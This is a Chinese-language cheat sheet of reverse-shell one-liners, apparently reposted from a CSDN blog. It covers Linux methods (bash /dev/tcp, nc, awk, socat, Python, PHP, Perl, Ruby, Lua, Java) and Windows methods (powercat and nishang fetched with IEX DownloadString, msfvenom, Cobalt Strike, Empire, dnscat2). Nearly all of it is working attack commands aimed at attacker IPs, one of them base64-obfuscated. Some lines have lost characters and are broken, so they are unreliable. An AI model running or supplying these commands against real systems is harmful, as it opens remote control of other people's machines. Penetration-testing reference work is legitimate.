反弹shell
Linux 反弹shell
姿势一：bash 反弹
bash -i >& /dev/tcp/192.168.99.242/1234 0>&1base64版：bash-c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'在线编码地址：http://www.jackson-t.ca/runtime-exec-payloads.html
其他版本：
exec 5<>/dev/tcp/192.168.99.242/1234;cat &5 >&5;done
exec/bin/sh 0&0 2>&0
姿势二：nc 反弹
nc -e /bin/bash 192.168.99.242 1234
姿势三：awk 反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
姿势四：telnet 反弹
备注：需要在攻击主机上分别监听1234和4321端口，执行反弹shell命令后，在1234终端输入命令，4321查看命令执行后的结果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
姿势五：socat 反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
姿势六：Python 反弹
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.42",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")
姿势七：PHP 反弹
php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i &3 2>&3");'
姿势八：Perl 反弹
perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
姿势九：Ruby 反弹
ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
姿势十：Lua 反弹
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i &3 2>&3');"
姿势十一：JAVA 反弹
public classRevs {/**
-
@param args
-
@throws Exception*/
public static voidmain(String[] args) throws Exception {//TODO Auto-generated method stub
Runtime r =Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/4444;cat &5 >&5; done"};
Process p=r.exec(cmd);
p.waitFor();
}
}
保存为Revs.java文件，编译执行，成功反弹shell。
javac Revs.java
java Revs
Windows 反弹shell
姿势一：nc 反弹
netcat 下载：https://eternallybored.org/misc/netcat/
服务端反弹：nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe
姿势二：powershell 反弹
powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd
下载到目标机器本地执行：
PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd
姿势三：MSF 反弹shell
使用msfvenom生成相关Payload
msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom-p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234
姿势四：Cobalt strike 反弹shell
1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。3、目标机执行powershell payload
姿势五：Empire 反弹shell
usestager windows/launcher_vbs
infosetListener test
execute
姿势六：nishang 反弹shell
Reverse TCP shell：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234
Reverse UDP shell：
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234
姿势七：Dnscat 反弹shell
github项目地址：
https://github.com/iagox86/dnscat2
服务端：
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
目标主机：
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx ———————————————— 版权声明：本文为CSDN博主「weixin_39890543」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/weixin_39890543/article/details/112989316